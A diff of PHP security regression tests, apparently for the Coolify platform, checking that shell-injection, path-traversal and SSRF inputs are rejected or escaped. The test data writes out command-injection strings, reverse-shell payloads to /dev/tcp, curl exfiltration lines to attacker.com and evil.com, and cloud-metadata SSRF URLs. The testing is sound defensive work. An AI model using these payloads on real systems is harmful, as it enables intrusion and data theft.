expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon injection' => 'vol; rm -rf /',
'pipe injection' => 'vol | cat /etc/passwd',
'ampersand injection' => 'vol && whoami',
'backtick injection' => 'vol`id`',
'dollar command substitution' => 'vol$(whoami)',
'redirect injection' => 'vol > /tmp/evil',
'space in name' => 'my volume',
'slash in name' => 'my/volume',
'newline injection' => "vol\nwhoami",
'starts with hyphen' => '-volume',
'starts with dot' => '.volume',
]);
// --- escapeshellarg Defense Tests ---
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
// The command should contain the name as a single quoted argument,
// preventing shell interpretation of metacharacters
expect($command)->not->toContain('; ')
->not->toContain('| ')
->not->toContain('&& ')
->not->toContain('`')
->toStartWith('docker volume rm -f ');
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
]);
// --- volumeNameRules Tests ---
it('generates volumeNameRules with correct defaults', function () {
$rules = ValidationPatterns::volumeNameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
});
it('generates nullable volumeNameRules when not required', function () {
$rules = ValidationPatterns::volumeNameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates correct volumeNameMessages', function () {
$messages = ValidationPatterns::volumeNameMessages();
expect($messages)->toHaveKey('name.regex');
});
it('generates volumeNameMessages with custom field name', function () {
$messages = ValidationPatterns::volumeNameMessages('volume_name');
expect($messages)->toHaveKey('volume_name.regex');
});
// --- escapeshellarg Defense Tests for docker volume create ---
it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) {
$escaped = escapeshellarg($maliciousName);
$command = "docker volume create {$escaped}";
expect($command)->toStartWith('docker volume create ')
->and($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
]);
// --- escapeshellarg Defense Tests for docker run -v ---
it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) {
$escaped = escapeshellarg($maliciousName);
$command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'";
expect($command)->toContain('docker run --rm -v ')
->and($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'command substitution' => 'vol$(whoami)',
]);
// --- escapeshellarg Defense Tests for docker network commands ---
it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) {
$escaped = escapeshellarg($maliciousName);
$command = "docker network disconnect {$escaped} coolify-proxy";
expect($command)->toStartWith('docker network disconnect ')
->and($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
})->with([
'semicolon' => 'net; rm -rf /',
'pipe' => 'net | cat /etc/passwd',
'command substitution' => 'net$(whoami)',
]);
it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) {
$escaped = escapeshellarg($maliciousName);
$command = "docker network rm {$escaped}";
expect($command)->toStartWith('docker network rm ')
->and($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
})->with([
'semicolon' => 'net; rm -rf /',
'pipe' => 'net | cat /etc/passwd',
'command substitution' => 'net$(whoami)',
]);
// --- DIRECTORY_PATH_PATTERN Tests ---
it('accepts valid directory paths', function (string $path) {
expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1);
})->with([
'root' => '/',
'simple path' => '/data',
'nested path' => '/data/coolify/volumes',
'with dots' => '/data/my.app/storage',
'with hyphens' => '/data/my-app/storage',
'with underscores' => '/data/my_app/storage',
]);
it('rejects directory paths with shell metacharacters', function (string $path) {
expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0);
})->with([
'semicolon injection' => '/etc; rm -rf /',
'pipe injection' => '/etc | cat /etc/passwd',
'command substitution' => '/etc$(whoami)',
'backtick injection' => '/etc`id`',
'space injection' => '/etc /tmp',
'relative traversal' => '../../../etc/passwd',
'no leading slash' => 'etc/passwd',
]);
@@ -74,3 +74,69 @@ test('postgresql init script accepts legitimate filenames', function () {
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
->not->toThrow(Exception::class);
});
// Path traversal — GHSA-mv4c-9x67-rrmv regression tests
test('postgresql init script rejects path traversal with ../ sequence', function () {
expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects path traversal targeting /etc/cron.d', function () {
expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects absolute path', function () {
expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects filename with forward slash', function () {
expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects filename with backslash', function () {
expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects double-dot without slashes', function () {
expect(fn () => validateFilenameSafe('..', 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script rejects null byte injection', function () {
expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
->toThrow(Exception::class);
});
test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () {
expect(fn () => validateFilenameSafe('init.sql', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename'))
->not->toThrow(Exception::class);
expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename'))
->not->toThrow(Exception::class);
});
// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe
test('basename() strips path traversal from legacy filenames at write site', function () {
expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn');
expect(basename('/etc/passwd'))->toBe('passwd');
expect(basename('subdir/evil.sql'))->toBe('evil.sql');
});
test('escapeshellarg() neutralises shell metacharacters in tee target', function () {
// Simulates how StartPostgresql::generate_init_scripts() builds the tee argument
$configuration_dir = '/data/coolify/databases/abc123';
$legacy_filename = basename('foo bar*.sql;rm -rf /');
$target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}";
$escaped = escapeshellarg($target);
// Single-quoted in POSIX sh means no expansion / no extra args regardless of contents.
expect($escaped)->toStartWith("'")->toEndWith("'");
expect($escaped)->toContain('foo bar*.sql;rm -rf');
});
@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+8 -7
View File
@@ -1,6 +1,7 @@
<?php
use App\Actions\Proxy\GetProxyConfiguration;
use Illuminate\Log\LogManager;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Spatie\SchemalessAttributes\SchemalessAttributes;
@@ -83,7 +84,7 @@ YAML;
});
it('logs warning when regenerating defaults', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
// No DB config, no disk config — will try to regenerate
@@ -94,7 +95,7 @@ it('logs warning when regenerating defaults', function () {
// the force regenerate path instead
try {
GetProxyConfiguration::run($server, forceRegenerate: true);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// generateDefaultProxyConfiguration may fail without full server setup
}
@@ -115,7 +116,7 @@ it('does not read from disk when DB config exists', function () {
});
it('rejects stored Traefik config when proxy type is CADDY', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
@@ -126,7 +127,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
// Both will fail in test env, but the warning log proves mismatch was detected.
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -136,7 +137,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
});
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
@@ -144,7 +145,7 @@ it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -163,7 +164,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
});
it('accepts stored config when YAML parsing fails', function () {
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
+39 -13
View File
@@ -12,43 +12,69 @@
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects path traversal filenames', function (string $filename) {
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
->toThrow(Exception::class);
})->with([
'../VICTIM_FILE',
'../../etc/shadow',
'/etc/passwd',
'subdir/config.yaml',
'subdir\\config.yaml',
'config..yaml',
"config.yaml\0../../etc/passwd",
]);
test('dynamic proxy components use filename-safe validation', function () {
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
expect($deleteComponent)
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
expect($createComponent)
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);
@@ -0,0 +1,91 @@
<?php
use App\Models\S3Storage;
use App\Rules\SafeWebhookUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
/**
* Regression tests for SSRF via S3 Storage endpoint.
*
* The Livewire forms (Create.php, Form.php) and the model-level defense in
* S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests
* assert the rule rejects the concrete payloads and that the model refuses to
* build an S3 client for an unsafe endpoint.
*/
it('rejects SSRF payloads on the S3 endpoint', function (string $endpoint) {
$validator = Validator::make(
['endpoint' => $endpoint],
['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
);
expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}");
})->with([
'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/',
'AWS IMDS bare' => 'http://169.254.169.254',
'GCP metadata via link-local' => 'http://169.254.0.1',
'loopback v4' => 'http://127.0.0.1',
'loopback Redis' => 'http://127.0.0.1:6379',
'loopback Postgres' => 'http://127.0.0.1:5432',
'loopback alt in /8' => 'http://127.10.20.30',
'zero address' => 'http://0.0.0.0',
'IPv6 loopback' => 'http://[::1]',
'localhost hostname' => 'http://localhost',
'localhost with port' => 'http://localhost:9000',
'internal suffix' => 'http://minio.internal',
'file scheme' => 'file:///etc/passwd',
'javascript scheme' => 'javascript:alert(1)',
]);
it('accepts real-world S3 endpoints', function (string $endpoint) {
$validator = Validator::make(
['endpoint' => $endpoint],
['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
);
expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}");
})->with([
'AWS S3' => 'https://s3.us-east-1.amazonaws.com',
'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com',
'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com',
'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com',
'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000',
'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000',
'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000',
'Custom domain MinIO' => 'https://minio.example.com',
]);
it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () {
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'region' => 'us-east-1',
'key' => 'AKIAEXAMPLE',
'secret' => 'secret',
'bucket' => 'latest/meta-data',
'endpoint' => 'http://169.254.169.254',
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
});
it('blocks testConnection() for loopback endpoints', function (string $endpoint) {
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'region' => 'us-east-1',
'key' => 'AKIAEXAMPLE',
'secret' => 'secret',
'bucket' => 'bucket',
'endpoint' => $endpoint,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
})->with([
'http loopback' => 'http://127.0.0.1:6379',
'localhost' => 'http://localhost:9000',
'IPv6 loopback' => 'http://[::1]',
'internal TLD' => 'http://backend.internal',
]);
+70 -3
View File
@@ -1,6 +1,10 @@
<?php
use App\Models\S3Storage;
use Illuminate\Support\Facades\Storage;
use Tests\TestCase;
uses(TestCase::class);
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
test('S3Storage model fillable attributes are configured correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
expect($s3Storage->getFillable())->toBe([
'name',
'description',
'region',
'key',
'secret',
'bucket',
'endpoint',
'is_usable',
'unusable_email_sent',
]);
});
test('S3Storage connection validation uses short s3 client timeouts', function () {
$disk = Mockery::mock();
$disk->expects('files')->once()->andReturn([]);
Storage::expects('build')
->once()
->with(Mockery::on(function (array $config) {
expect($config['http']['connect_timeout'])->toBe(15);
expect($config['http']['timeout'])->toBe(15);
return true;
}))
->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
]);
$s3Storage->testConnection();
expect($s3Storage->is_usable)->toBeTrue();
});
test('S3Storage connection validation returns friendly timeout error', function () {
$disk = Mockery::mock();
$disk->expects('files')
->once()
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
Storage::expects('build')->once()->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
'unusable_email_sent' => true,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
expect($s3Storage->is_usable)->toBeFalse();
});
+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Rules\SafeExternalUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeExternalUrl;
$validUrls = [
'https://api.github.com',
'https://github.example.com/api/v3',
'https://example.com',
'http://example.com',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('rejects private IPv4 addresses', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'10.x range' => 'http://10.0.0.1',
'172.16.x range' => 'http://172.16.0.1',
'192.168.x range' => 'http://192.168.1.1',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'zero address' => 'http://0.0.0.0',
'.local domain' => 'http://myservice.local',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-URL strings', function (string $value) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'plain string' => 'not-a-url',
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'no scheme' => 'example.com',
]);
it('rejects URLs with IPv6 loopback', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
+90
View File
@@ -0,0 +1,90 @@
<?php
use App\Rules\SafeWebhookUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeWebhookUrl;
$validUrls = [
'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXX',
'https://discord.com/api/webhooks/123456/abcdef',
'https://example.com/webhook',
'http://example.com/webhook',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('accepts private network IPs for self-hosted deployments', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}");
})->with([
'10.x range' => 'http://10.0.0.5/webhook',
'172.16.x range' => 'http://172.16.0.1:8080/hook',
'192.168.x range' => 'http://192.168.1.50:8080/webhook',
]);
it('rejects loopback addresses', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'loopback /8 range' => 'http://127.0.0.2',
'zero address' => 'http://0.0.0.0',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects link-local range', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: link-local IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-http schemes', function (string $value) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'file scheme' => 'file:///etc/passwd',
'no scheme' => 'example.com',
]);
it('rejects IPv6 loopback', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
@@ -2,6 +2,9 @@
use App\Jobs\ScheduledJobManager;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Tests\TestCase;
uses(TestCase::class);
it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', function () {
$job = new ScheduledJobManager;
+77
View File
@@ -0,0 +1,77 @@
<?php
use App\Jobs\SendWebhookJob;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Tests\TestCase;
uses(TestCase::class);
it('sends webhook to valid URLs', function () {
Http::fake(['*' => Http::response('ok', 200)]);
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'https://example.com/webhook'
);
$job->handle();
Http::assertSent(function ($request) {
return $request->url() === 'https://example.com/webhook';
});
});
it('blocks webhook to loopback address', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://127.0.0.1/admin'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to cloud metadata endpoint', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://169.254.169.254/latest/meta-data/'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to localhost', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
